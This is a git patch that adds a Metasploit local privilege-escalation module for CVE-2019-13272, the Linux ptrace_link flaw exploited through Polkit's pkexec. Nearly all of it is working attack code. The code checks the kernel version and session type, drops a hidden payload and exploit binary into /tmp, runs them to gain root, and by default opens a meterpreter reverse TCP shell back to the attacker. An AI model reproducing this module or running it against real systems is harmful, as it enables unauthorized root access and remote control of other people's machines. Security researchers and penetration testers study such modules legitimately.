From b72f9ac891b7572684d5efa2706c9238a742f99e Mon Sep 17 00:00:00 2001 From: syn Date: Mon, 24 Feb 2025 14:30:37 +0700 Subject: [PATCH] Rooting: pkexec-POLKIT --- rooting/polkit-pkexec.rb | 133 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 133 insertions(+) create mode 100644 rooting/polkit-pkexec.rb diff --git a/rooting/polkit-pkexec.rb b/rooting/polkit-pkexec.rb new file mode 100644 index 0000000..a5bb682 --- /dev/null +++ b/rooting/polkit-pkexec.rb @@ -0,0 +1,133 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::Kernel + include Msf::Post::Linux::System + include Msf::Post::Linux::Compile + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linux Polkit pkexec helper PTRACE_TRACEME local root exploit', + 'Description' => %q{ + This module exploits an issue in ptrace_link in kernel/ptrace.c before Linux + kernel 5.1.17. This issue can be exploited from a Linux desktop terminal, but + not over an SSH session, as it requires execution from within the context of + a user with an active Polkit agent. + In the Linux kernel before 5.1.17, ptrace_link in kernel/ptrace.c mishandles + the recording of the credentials of a process that wants to create a ptrace + relationship, which allows local users to obtain root access by leveraging + certain scenarios with a parent-child process relationship, where a parent drops + privileges and calls execve (potentially allowing control by an attacker). One + contributing factor is an object lifetime issue (which can also cause a panic). + Another contributing factor is incorrect marking of a ptrace relationship as + privileged, which is exploitable through (for example) Polkit's pkexec helper + with PTRACE_TRACEME. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Jann Horn', # Discovery and exploit + 'bcoles', # Metasploit module + 'timwr', # Metasploit module + ], + 'References' => [ + ['CVE', '2019-13272'], + ['EDB', '47133'], + ['PACKETSTORM', '153663'], + ['URL', 'https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272'], + ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1903'], + ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X64 ], + 'Targets' => [[ 'Auto', {} ]], + 'DefaultOptions' => + { + 'Payload' => 'linux/x64/meterpreter/reverse_tcp', + 'PrependFork' => true, + }, + 'DisclosureDate' => 'Jul 4 2019')) + register_advanced_options [ + OptBool.new('ForceExploit', [false, 'Override check result', false]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def check + # Introduced in 4.10, but also backported + # Patched in 4.4.185, 4.9.185, 4.14.133, 4.19.58, 5.1.17 + release = kernel_release + v = Gem::Version.new release.split('-').first + + if v >= Gem::Version.new('5.1.17') || v < Gem::Version.new('3') + vprint_error "Kernel version #{release} is not vulnerable" + return CheckCode::Safe + end + vprint_good "Kernel version #{release} appears to be vulnerable" + + unless command_exists? 'pkexec' + vprint_error 'pkexec is not installed' + return CheckCode::Safe + end + vprint_good 'pkexec is installed' + + arch = kernel_hardware + unless arch.include? 'x86_64' + vprint_error "System architecture #{arch} is not supported" + return CheckCode::Safe + end + vprint_good "System architecture #{arch} is supported" + + loginctl_output = cmd_exec('loginctl --no-ask-password show-session "$XDG_SESSION_ID" | grep Remote') + if loginctl_output =~ /Remote=yes/ + print_warning 'This is exploit requires a valid policykit session (it cannot be executed over ssh)' + return CheckCode::Safe + end + + CheckCode::Appears + end + + def exploit + if is_root? && !datastore['ForceExploit'] + fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' + end + + unless check == CheckCode::Appears + unless datastore['ForceExploit'] + fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' + end + print_warning 'Target does not appear to be vulnerable' + end + + unless writable? datastore['WritableDir'] + fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" + end + + payload_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" + upload_and_chmodx(payload_file, generate_payload_exe) + register_file_for_cleanup(payload_file) + + exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}" + if live_compile? + vprint_status 'Live compiling exploit on system...' + upload_and_compile exploit_file, exploit_data('CVE-2019-13272', 'poc.c') + else + vprint_status 'Dropping pre-compiled exploit on system...' + upload_and_chmodx exploit_file, exploit_data('CVE-2019-13272', 'exploit') + end + register_file_for_cleanup(exploit_file) + + print_status("Executing exploit '#{exploit_file}'") + result = cmd_exec("echo #{payload_file} | #{exploit_file}") + print_status("Exploit result:\n#{result}") + end +end +